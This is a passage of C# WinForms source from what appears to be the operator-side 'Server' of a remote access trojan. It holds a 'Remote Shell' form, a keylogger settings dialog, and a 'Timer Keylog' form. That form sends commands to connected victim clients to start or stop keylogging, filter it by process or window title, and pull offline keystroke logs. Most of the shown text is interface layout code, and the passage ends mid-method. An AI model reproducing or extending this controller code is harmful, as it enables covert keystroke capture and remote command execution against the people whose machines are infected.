}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormShell));
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.textBox1 = new DevExpress.XtraEditors.TextEdit();
this.xtraTabControl2 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).BeginInit();
this.xtraTabControl2.SuspendLayout();
this.xtraTabPage2.SuspendLayout();
base.SuspendLayout();
this.richTextBox1.BackColor = System.Drawing.Color.FromArgb(30, 30, 30);
this.richTextBox1.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBox1.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBox1.Font = new System.Drawing.Font("Consolas", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.richTextBox1.ForeColor = System.Drawing.Color.FromArgb(248, 248, 242);
this.richTextBox1.Location = new System.Drawing.Point(0, 0);
this.richTextBox1.Margin = new System.Windows.Forms.Padding(2);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
this.richTextBox1.Size = new System.Drawing.Size(574, 340);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "";
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(Timer1_Tick);
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.textBox1.Location = new System.Drawing.Point(0, 371);
this.textBox1.Name = "textBox1";
this.textBox1.Size = new System.Drawing.Size(576, 30);
this.textBox1.TabIndex = 2;
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(TextBox1_KeyDown);
this.xtraTabControl2.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl2.Location = new System.Drawing.Point(0, 0);
this.xtraTabControl2.MultiLine = DevExpress.Utils.DefaultBoolean.True;
this.xtraTabControl2.Name = "xtraTabControl2";
this.xtraTabControl2.SelectedTabPage = this.xtraTabPage2;
this.xtraTabControl2.Size = new System.Drawing.Size(576, 371);
this.xtraTabControl2.TabIndex = 11;
this.xtraTabControl2.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[1] { this.xtraTabPage2 });
this.xtraTabPage2.Controls.Add(this.richTextBox1);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(574, 340);
base.AutoScaleDimensions = new System.Drawing.SizeF(7f, 16f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(576, 401);
base.Controls.Add(this.xtraTabControl2);
base.Controls.Add(this.textBox1);
base.FormBorderEffect = DevExpress.XtraEditors.FormBorderEffect.Glow;
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
base.IconOptions.Icon = (System.Drawing.Icon)resources.GetObject("FormShell.IconOptions.Icon");
base.IconOptions.Image = (System.Drawing.Image)resources.GetObject("FormShell.IconOptions.Image");
base.Margin = new System.Windows.Forms.Padding(2);
this.MaximumSize = new System.Drawing.Size(578, 435);
this.MinimumSize = new System.Drawing.Size(578, 435);
base.Name = "FormShell";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Remote Shell";
base.FormClosed += new System.Windows.Forms.FormClosedEventHandler(FormShell_FormClosed);
((System.ComponentModel.ISupportInitialize)this.textBox1.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl2).EndInit();
this.xtraTabControl2.ResumeLayout(false);
this.xtraTabPage2.ResumeLayout(false);
base.ResumeLayout(false);
}
}

30
Forms/FormShell.resx Normal file

File diff suppressed because one or more lines are too long

View File

@ -0,0 +1,134 @@
using System;
using System.ComponentModel;
using System.Drawing;
using System.Windows.Forms;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
namespace Server.Forms;
public class FormTimerKeySetting : XtraForm
{
private IContainer components;
private LabelControl labelControl1;
private LabelControl labelControl4;
private TextEdit txtFilter;
private SpinEdit spinEditInterval;
private LabelControl labelControl2;
private SimpleButton btnApply;
private SimpleButton simpleButton1;
public int interval => (int)spinEditInterval.Value;
public string filter => txtFilter.Text;
public FormTimerKeySetting()
{
InitializeComponent();
}
private void FormTimerKeySetting_Load(object sender, EventArgs e)
{
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormTimerKeySetting));
this.labelControl1 = new DevExpress.XtraEditors.LabelControl();
this.labelControl4 = new DevExpress.XtraEditors.LabelControl();
this.txtFilter = new DevExpress.XtraEditors.TextEdit();
this.spinEditInterval = new DevExpress.XtraEditors.SpinEdit();
this.labelControl2 = new DevExpress.XtraEditors.LabelControl();
this.btnApply = new DevExpress.XtraEditors.SimpleButton();
this.simpleButton1 = new DevExpress.XtraEditors.SimpleButton();
((System.ComponentModel.ISupportInitialize)this.txtFilter.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.spinEditInterval.Properties).BeginInit();
base.SuspendLayout();
this.labelControl1.Appearance.Font = new System.Drawing.Font("Tahoma", 9.75f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelControl1.Appearance.Options.UseFont = true;
this.labelControl1.Location = new System.Drawing.Point(12, 13);
this.labelControl1.Name = "labelControl1";
this.labelControl1.Size = new System.Drawing.Size(52, 16);
this.labelControl1.TabIndex = 61;
this.labelControl1.Text = "Interval :";
this.labelControl4.Appearance.Font = new System.Drawing.Font("Tahoma", 9.75f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelControl4.Appearance.Options.UseFont = true;
this.labelControl4.Location = new System.Drawing.Point(165, 13);
this.labelControl4.Name = "labelControl4";
this.labelControl4.Size = new System.Drawing.Size(16, 16);
this.labelControl4.TabIndex = 63;
this.labelControl4.Text = "(s)";
this.txtFilter.Location = new System.Drawing.Point(12, 78);
this.txtFilter.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.txtFilter.Name = "txtFilter";
this.txtFilter.Size = new System.Drawing.Size(346, 28);
this.txtFilter.TabIndex = 59;
this.spinEditInterval.EditValue = new decimal(new int[4] { 5, 0, 0, 0 });
this.spinEditInterval.Location = new System.Drawing.Point(83, 8);
this.spinEditInterval.Name = "spinEditInterval";
this.spinEditInterval.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.spinEditInterval.Size = new System.Drawing.Size(76, 28);
this.spinEditInterval.TabIndex = 60;
this.labelControl2.Appearance.Font = new System.Drawing.Font("Tahoma", 9.75f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelControl2.Appearance.Options.UseFont = true;
this.labelControl2.Location = new System.Drawing.Point(12, 57);
this.labelControl2.Name = "labelControl2";
this.labelControl2.Size = new System.Drawing.Size(253, 16);
this.labelControl2.TabIndex = 62;
this.labelControl2.Text = "Filter String (ProcessName or Window Title)";
this.btnApply.DialogResult = System.Windows.Forms.DialogResult.OK;
this.btnApply.Location = new System.Drawing.Point(60, 125);
this.btnApply.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnApply.Name = "btnApply";
this.btnApply.Size = new System.Drawing.Size(99, 32);
this.btnApply.TabIndex = 64;
this.btnApply.Text = "Ok";
this.simpleButton1.DialogResult = System.Windows.Forms.DialogResult.Cancel;
this.simpleButton1.Location = new System.Drawing.Point(219, 125);
this.simpleButton1.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.simpleButton1.Name = "simpleButton1";
this.simpleButton1.Size = new System.Drawing.Size(99, 32);
this.simpleButton1.TabIndex = 65;
this.simpleButton1.Text = "Cancel";
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
base.ClientSize = new System.Drawing.Size(370, 175);
base.Controls.Add(this.simpleButton1);
base.Controls.Add(this.btnApply);
base.Controls.Add(this.labelControl1);
base.Controls.Add(this.labelControl4);
base.Controls.Add(this.txtFilter);
base.Controls.Add(this.spinEditInterval);
base.Controls.Add(this.labelControl2);
base.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
base.IconOptions.SvgImage = (DevExpress.Utils.Svg.SvgImage)resources.GetObject("FormTimerKeySetting.IconOptions.SvgImage");
base.Name = "FormTimerKeySetting";
base.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "Timer Keylogger Setting";
base.Load += new System.EventHandler(FormTimerKeySetting_Load);
((System.ComponentModel.ISupportInitialize)this.txtFilter.Properties).EndInit();
((System.ComponentModel.ISupportInitialize)this.spinEditInterval.Properties).EndInit();
base.ResumeLayout(false);
base.PerformLayout();
}
}

View File

@ -0,0 +1,30 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="FormTimerKeySetting.IconOptions.SvgImage" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFlEZXZFeHByZXNzLkRhdGEudjIyLjEsIFZlcnNpb249MjIuMS40LjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjg4ZDE3NTRkNzAwZTQ5YQUBAAAAHURldkV4cHJlc3MuVXRpbHMuU3ZnLlN2Z0ltYWdlAQAAAAREYXRhBwICAAAACQMAAAAPAwAAAA4DAAAC77u/PD94bWwgdmVyc2lvbj0nMS4wJyBlbmNvZGluZz0nVVRGLTgnPz4NCjxzdmcgeD0iMHB4IiB5PSIwcHgiIHZpZXdCb3g9IjAgMCAzMiAzMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB4bWw6c3BhY2U9InByZXNlcnZlIiBpZD0iRGVmZXJyZWQiIHN0eWxlPSJlbmFibGUtYmFja2dyb3VuZDpuZXcgMCAwIDMyIDMyIj4NCiAgPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KCS5HcmVlbntmaWxsOiMwMzlDMjM7fQoJLkJsYWNre2ZpbGw6IzcyNzI3Mjt9CgkuQmx1ZXtmaWxsOiMxMTc3RDc7fQo8L3N0eWxlPg0KICA8cGF0aCBkPSJNMjksMThjMC02LjMtNC40LTExLjUtMTAuMy0xMi43QzE4LjksNC45LDE5LDQuNSwxOSw0YzAtMS43LTEuMy0zLTMtM3MtMywxLjMtMywzYzAsMC41LDAuMSwwLjksMC4zLDEuMyAgQzcuNCw2LjUsMywxMS43LDMsMThjMCw3LjIsNS44LDEzLDEzLDEzYzAuMywwLDAuNywwLDEtMC4xdi0yYy0wLjMsMC0wLjcsMC4xLTEsMC4xQzkuOSwyOSw1LDI0LjEsNSwxOFM5LjksNywxNiw3czExLDQuOSwxMSwxMSAgYzAsMy41LTEuNyw2LjctNC4zLDguN0wxOSwyM3Y1LjZ2Mi4xVjMxaDhsLTIuOS0yLjlDMjcuMSwyNS43LDI5LDIyLjEsMjksMTh6IiBjbGFzcz0iQmx1ZSIgLz4NCiAgPHBvbHlnb24gcG9pbnRzPSIxNywxNyAxNyw5IDE1LDkgMTUsMTcgMTUsMTkgMTcsMTkgMjUsMTkgMjUsMTcgIiBjbGFzcz0iQmxhY2siIC8+DQo8L3N2Zz4L</value></data></root>

484
Forms/FormTimerKeylog.cs Normal file
View File

@ -0,0 +1,484 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Threading;
using System.Windows.Forms;
using DevExpress.Utils.Svg;
using DevExpress.XtraEditors;
using DevExpress.XtraEditors.Controls;
using DevExpress.XtraTab;
using MessagePackLib.MessagePack;
using Server.Connection;
using Server.Handle_Packet;
namespace Server.Forms;
public class FormTimerKeylog : XtraForm
{
public Clients MainClient;
private string procfilters = string.Empty;
private IContainer components;
private LabelControl labelControl4;
private LabelControl labelControl2;
private LabelControl labelControl1;
private SpinEdit spinEditInterval;
private TextEdit txtFilter;
private SimpleButton btnStop;
private SimpleButton btnStart;
private System.Windows.Forms.Timer timerStatus;
private XtraTabControl xtraTabControlLog;
private XtraTabPage xtraTabPageLogVIew;
private XtraTabPage xtraTabPageSetting;
public RichTextBox richTextBoxLog;
private SimpleButton btnApply;
private ListBoxControl listBoxInstalledApp;
private SimpleButton btnLoadOfflineLog;
private XtraTabControl xtraTabControl1;
private XtraTabPage xtraTabPage1;
private XtraTabPage xtraTabPage2;
private CheckedListBoxControl processList;
private SimpleButton btnRefresh;
private PanelControl panelControl1;
private PanelControl panelControl2;
private SeparatorControl separatorControl1;
public FormTimerKeylog()
{
InitializeComponent();
}
public void LoadRunningApp(string procstr)
{
List<string> list = new List<string>(procstr.Split(new char[1] { ',' }, StringSplitOptions.RemoveEmptyEntries));
processList.DataSource = list;
MainClient.info.runningapps = list;
MarkChecked();
}
public void MarkChecked()
{
processList.Update();
int count = MainClient.info.runningapps.Count;
for (int i = 0; i < count; i++)
{
string value = MainClient.info.runningapps[i].ToLower();
if (MainClient.info.keyparam.filter.ToLower().Contains(value))
{
processList.SetItemChecked(i, value: true);
}
}
processList.Update();
}
public void LoadInfos(string appsstr, string procstr)
{
List<string> list = new List<string>(procstr.Split(new char[1] { ',' }, StringSplitOptions.RemoveEmptyEntries));
processList.DataSource = list;
List<string> list2 = new List<string>(appsstr.Split(new char[1] { ';' }, StringSplitOptions.RemoveEmptyEntries));
listBoxInstalledApp.DataSource = list2;
MainClient.info.apps = list2;
MainClient.info.runningapps = list;
MarkChecked();
}
public void SendRunningAppMsg()
{
if (MainClient != null)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "runningapp";
ThreadPool.QueueUserWorkItem(MainClient.Send, msgPack.Encode2Bytes());
}
}
private void FormTimerKeylog_Load(object sender, EventArgs e)
{
if (MainClient == null)
{
Close();
}
listBoxInstalledApp.DataSource = MainClient.info.apps;
spinEditInterval.Value = MainClient.info.keyparam.interval;
txtFilter.Text = MainClient.info.keyparam.filter;
Text = "Timer Keylog On " + MainClient.Ip;
EnableKeylog(MainClient.info.keyparam.isEnabled);
SendRunningAppMsg();
}
private void btnStart_Click(object sender, EventArgs e)
{
if (MainClient.TcpClient.Connected)
{
EnableKeylog(keyEnabled: true);
MainClient.info.keyparam.isEnabled = true;
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "keylogsetting";
msgPack.ForcePathObject("value").AsString = MainClient.info.keyparam.content;
ThreadPool.QueueUserWorkItem(MainClient.Send, msgPack.Encode2Bytes());
new HandleLogs().Addmsg("Keylog is Enabled on " + MainClient.Ip, Color.Red);
}
}
public void EnableKeylog(bool keyEnabled)
{
btnStart.Enabled = !keyEnabled;
btnStop.Enabled = keyEnabled;
}
private void btnStop_Click(object sender, EventArgs e)
{
if (MainClient.TcpClient.Connected)
{
EnableKeylog(keyEnabled: false);
MainClient.info.keyparam.isEnabled = false;
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "keylogsetting";
msgPack.ForcePathObject("value").AsString = MainClient.info.keyparam.content;
ThreadPool.QueueUserWorkItem(MainClient.Send, msgPack.Encode2Bytes());
new HandleLogs().Addmsg("Keylog is Disabled on " + MainClient.Ip, Color.Red);
}
}
private void timerStatus_Tick(object sender, EventArgs e)
{
}
private void FormTimerKeylog_FormClosing(object sender, FormClosingEventArgs e)
{
}
public void AddLog(string log)
{
richTextBoxLog.Text += log;
richTextBoxLog.SelectionStart = richTextBoxLog.Text.Length;
richTextBoxLog.ScrollToCaret();
}
private void btnApply_Click(object sender, EventArgs e)
{
if (MainClient.TcpClient.Connected)
{
MainClient.info.keyparam.interval = (int)spinEditInterval.Value;
MainClient.info.keyparam.filter = txtFilter.Text.Trim();
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "keylogsetting";
msgPack.ForcePathObject("value").AsString = MainClient.info.keyparam.content;
ThreadPool.QueueUserWorkItem(MainClient.Send, msgPack.Encode2Bytes());
MessageBox.Show("Succcessfully changed!");
}
}
private void btnLoadOfflineLog_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "loadofflinelog";
ThreadPool.QueueUserWorkItem(MainClient.Send, msgPack.Encode2Bytes());
}
private void processList_ItemCheck(object sender, DevExpress.XtraEditors.Controls.ItemCheckEventArgs e)
{
string filter = MainClient.info.keyparam.filter;
string text = MainClient.info.runningapps[e.Index].ToLower();
if (e.State == CheckState.Checked)
{
if (!filter.ToLower().Contains(text.ToLower()))
{
procfilters = procfilters + text + " ";
}
}
else
{
procfilters = procfilters.Replace(text, string.Empty);
MainClient.info.keyparam.filter = MainClient.info.keyparam.filter.Replace(text, string.Empty).Trim();
}
txtFilter.Text = MainClient.info.keyparam.filter + " " + procfilters.Trim();
}
private void btnRefresh_Click(object sender, EventArgs e)
{
MsgPack msgPack = new MsgPack();
msgPack.ForcePathObject("Pac_ket").AsString = "filterinfo";
ThreadPool.QueueUserWorkItem(MainClient.Send, msgPack.Encode2Bytes());
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Server.Forms.FormTimerKeylog));
this.labelControl4 = new DevExpress.XtraEditors.LabelControl();
this.labelControl2 = new DevExpress.XtraEditors.LabelControl();
this.labelControl1 = new DevExpress.XtraEditors.LabelControl();
this.spinEditInterval = new DevExpress.XtraEditors.SpinEdit();
this.txtFilter = new DevExpress.XtraEditors.TextEdit();
this.btnStop = new DevExpress.XtraEditors.SimpleButton();
this.btnStart = new DevExpress.XtraEditors.SimpleButton();
this.timerStatus = new System.Windows.Forms.Timer(this.components);
this.xtraTabControlLog = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPageLogVIew = new DevExpress.XtraTab.XtraTabPage();
this.richTextBoxLog = new System.Windows.Forms.RichTextBox();
this.panelControl1 = new DevExpress.XtraEditors.PanelControl();
this.btnLoadOfflineLog = new DevExpress.XtraEditors.SimpleButton();
this.xtraTabPageSetting = new DevExpress.XtraTab.XtraTabPage();
this.xtraTabControl1 = new DevExpress.XtraTab.XtraTabControl();
this.xtraTabPage1 = new DevExpress.XtraTab.XtraTabPage();
this.listBoxInstalledApp = new DevExpress.XtraEditors.ListBoxControl();
this.xtraTabPage2 = new DevExpress.XtraTab.XtraTabPage();
this.processList = new DevExpress.XtraEditors.CheckedListBoxControl();
this.panelControl2 = new DevExpress.XtraEditors.PanelControl();
this.separatorControl1 = new DevExpress.XtraEditors.SeparatorControl();
this.btnRefresh = new DevExpress.XtraEditors.SimpleButton();
this.btnApply = new DevExpress.XtraEditors.SimpleButton();
((System.ComponentModel.ISupportInitialize)this.spinEditInterval.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.txtFilter.Properties).BeginInit();
((System.ComponentModel.ISupportInitialize)this.xtraTabControlLog).BeginInit();
this.xtraTabControlLog.SuspendLayout();
this.xtraTabPageLogVIew.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.panelControl1).BeginInit();
this.panelControl1.SuspendLayout();
this.xtraTabPageSetting.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.xtraTabControl1).BeginInit();
this.xtraTabControl1.SuspendLayout();
this.xtraTabPage1.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.listBoxInstalledApp).BeginInit();
this.xtraTabPage2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.processList).BeginInit();
((System.ComponentModel.ISupportInitialize)this.panelControl2).BeginInit();
this.panelControl2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.separatorControl1).BeginInit();
base.SuspendLayout();
this.labelControl4.Appearance.Font = new System.Drawing.Font("Tahoma", 9.75f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelControl4.Appearance.Options.UseFont = true;
this.labelControl4.Location = new System.Drawing.Point(208, 23);
this.labelControl4.Name = "labelControl4";
this.labelControl4.Size = new System.Drawing.Size(16, 16);
this.labelControl4.TabIndex = 58;
this.labelControl4.Text = "(s)";
this.labelControl2.Appearance.Font = new System.Drawing.Font("Tahoma", 9.75f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelControl2.Appearance.Options.UseFont = true;
this.labelControl2.Location = new System.Drawing.Point(44, 74);
this.labelControl2.Name = "labelControl2";
this.labelControl2.Size = new System.Drawing.Size(253, 16);
this.labelControl2.TabIndex = 55;
this.labelControl2.Text = "Filter String (ProcessName or Window Title)";
this.labelControl1.Appearance.Font = new System.Drawing.Font("Tahoma", 9.75f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.labelControl1.Appearance.Options.UseFont = true;
this.labelControl1.Location = new System.Drawing.Point(44, 23);
this.labelControl1.Name = "labelControl1";
this.labelControl1.Size = new System.Drawing.Size(52, 16);
this.labelControl1.TabIndex = 54;
this.labelControl1.Text = "Interval :";
this.spinEditInterval.EditValue = new decimal(new int[4] { 5, 0, 0, 0 });
this.spinEditInterval.Location = new System.Drawing.Point(102, 18);
this.spinEditInterval.Name = "spinEditInterval";
this.spinEditInterval.Properties.Buttons.AddRange(new DevExpress.XtraEditors.Controls.EditorButton[1]
{
new DevExpress.XtraEditors.Controls.EditorButton(DevExpress.XtraEditors.Controls.ButtonPredefines.Combo)
});
this.spinEditInterval.Size = new System.Drawing.Size(100, 28);
this.spinEditInterval.TabIndex = 53;
this.txtFilter.Location = new System.Drawing.Point(45, 95);
this.txtFilter.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.txtFilter.Name = "txtFilter";
this.txtFilter.Size = new System.Drawing.Size(729, 28);
this.txtFilter.TabIndex = 52;
this.btnStop.AppearanceDisabled.ForeColor = System.Drawing.Color.Gray;
this.btnStop.AppearanceDisabled.Options.UseForeColor = true;
this.btnStop.Dock = System.Windows.Forms.DockStyle.Left;
this.btnStop.Enabled = false;
this.btnStop.Location = new System.Drawing.Point(101, 2);
this.btnStop.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnStop.Name = "btnStop";
this.btnStop.Size = new System.Drawing.Size(99, 33);
this.btnStop.TabIndex = 51;
this.btnStop.Text = "Stop";
this.btnStop.Click += new System.EventHandler(btnStop_Click);
this.btnStart.AppearanceDisabled.ForeColor = System.Drawing.Color.Gray;
this.btnStart.AppearanceDisabled.Options.UseForeColor = true;
this.btnStart.Dock = System.Windows.Forms.DockStyle.Left;
this.btnStart.Location = new System.Drawing.Point(2, 2);
this.btnStart.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnStart.Name = "btnStart";
this.btnStart.Size = new System.Drawing.Size(99, 33);
this.btnStart.TabIndex = 50;
this.btnStart.Text = "Start";
this.btnStart.Click += new System.EventHandler(btnStart_Click);
this.timerStatus.Interval = 1000;
this.timerStatus.Tick += new System.EventHandler(timerStatus_Tick);
this.xtraTabControlLog.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControlLog.Location = new System.Drawing.Point(0, 0);
this.xtraTabControlLog.Name = "xtraTabControlLog";
this.xtraTabControlLog.SelectedTabPage = this.xtraTabPageLogVIew;
this.xtraTabControlLog.Size = new System.Drawing.Size(819, 533);
this.xtraTabControlLog.TabIndex = 61;
this.xtraTabControlLog.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[2] { this.xtraTabPageLogVIew, this.xtraTabPageSetting });
this.xtraTabPageLogVIew.Controls.Add(this.richTextBoxLog);
this.xtraTabPageLogVIew.Controls.Add(this.panelControl1);
this.xtraTabPageLogVIew.Name = "xtraTabPageLogVIew";
this.xtraTabPageLogVIew.Size = new System.Drawing.Size(817, 502);
this.xtraTabPageLogVIew.Text = "Logs";
this.richTextBoxLog.BackColor = System.Drawing.Color.FromArgb(36, 36, 36);
this.richTextBoxLog.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.richTextBoxLog.Dock = System.Windows.Forms.DockStyle.Fill;
this.richTextBoxLog.Font = new System.Drawing.Font("Microsoft Sans Serif", 9f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.richTextBoxLog.ForeColor = System.Drawing.Color.Gainsboro;
this.richTextBoxLog.Location = new System.Drawing.Point(0, 37);
this.richTextBoxLog.Margin = new System.Windows.Forms.Padding(2);
this.richTextBoxLog.Name = "richTextBoxLog";
this.richTextBoxLog.ReadOnly = true;
this.richTextBoxLog.Size = new System.Drawing.Size(817, 465);
this.richTextBoxLog.TabIndex = 52;
this.richTextBoxLog.Text = "";
this.panelControl1.Controls.Add(this.btnLoadOfflineLog);
this.panelControl1.Controls.Add(this.btnStop);
this.panelControl1.Controls.Add(this.btnStart);
this.panelControl1.Dock = System.Windows.Forms.DockStyle.Top;
this.panelControl1.Location = new System.Drawing.Point(0, 0);
this.panelControl1.Name = "panelControl1";
this.panelControl1.Size = new System.Drawing.Size(817, 37);
this.panelControl1.TabIndex = 54;
this.btnLoadOfflineLog.AppearanceDisabled.ForeColor = System.Drawing.Color.Gray;
this.btnLoadOfflineLog.AppearanceDisabled.Options.UseForeColor = true;
this.btnLoadOfflineLog.Dock = System.Windows.Forms.DockStyle.Right;
this.btnLoadOfflineLog.Location = new System.Drawing.Point(679, 2);
this.btnLoadOfflineLog.Margin = new System.Windows.Forms.Padding(3, 2, 3, 2);
this.btnLoadOfflineLog.Name = "btnLoadOfflineLog";
this.btnLoadOfflineLog.Size = new System.Drawing.Size(136, 33);
this.btnLoadOfflineLog.TabIndex = 53;
this.btnLoadOfflineLog.Text = "Load OfflineKeylog";
this.btnLoadOfflineLog.Click += new System.EventHandler(btnLoadOfflineLog_Click);
this.xtraTabPageSetting.Controls.Add(this.xtraTabControl1);
this.xtraTabPageSetting.Controls.Add(this.panelControl2);
this.xtraTabPageSetting.Name = "xtraTabPageSetting";
this.xtraTabPageSetting.Size = new System.Drawing.Size(817, 502);
this.xtraTabPageSetting.Text = "Setting";
this.xtraTabControl1.Dock = System.Windows.Forms.DockStyle.Fill;
this.xtraTabControl1.Location = new System.Drawing.Point(0, 141);
this.xtraTabControl1.Name = "xtraTabControl1";
this.xtraTabControl1.SelectedTabPage = this.xtraTabPage1;
this.xtraTabControl1.Size = new System.Drawing.Size(817, 361);
this.xtraTabControl1.TabIndex = 64;
this.xtraTabControl1.TabPages.AddRange(new DevExpress.XtraTab.XtraTabPage[2] { this.xtraTabPage1, this.xtraTabPage2 });
this.xtraTabPage1.Controls.Add(this.listBoxInstalledApp);
this.xtraTabPage1.Name = "xtraTabPage1";
this.xtraTabPage1.Size = new System.Drawing.Size(815, 330);
this.xtraTabPage1.Text = "Installed Applications";
this.listBoxInstalledApp.Dock = System.Windows.Forms.DockStyle.Fill;
this.listBoxInstalledApp.Location = new System.Drawing.Point(0, 0);
this.listBoxInstalledApp.Name = "listBoxInstalledApp";
this.listBoxInstalledApp.Size = new System.Drawing.Size(815, 330);
this.listBoxInstalledApp.TabIndex = 62;
this.xtraTabPage2.Controls.Add(this.processList);
this.xtraTabPage2.Name = "xtraTabPage2";
this.xtraTabPage2.Size = new System.Drawing.Size(815, 330);
this.xtraTabPage2.Text = "Processes Status ";
this.processList.Dock = System.Windows.Forms.DockStyle.Fill;
this.processList.Location = new System.Drawing.Point(0, 0);
this.processList.Name = "processList";
this.processList.Size = new System.Drawing.Size(815, 330);
this.processList.TabIndex = 0;
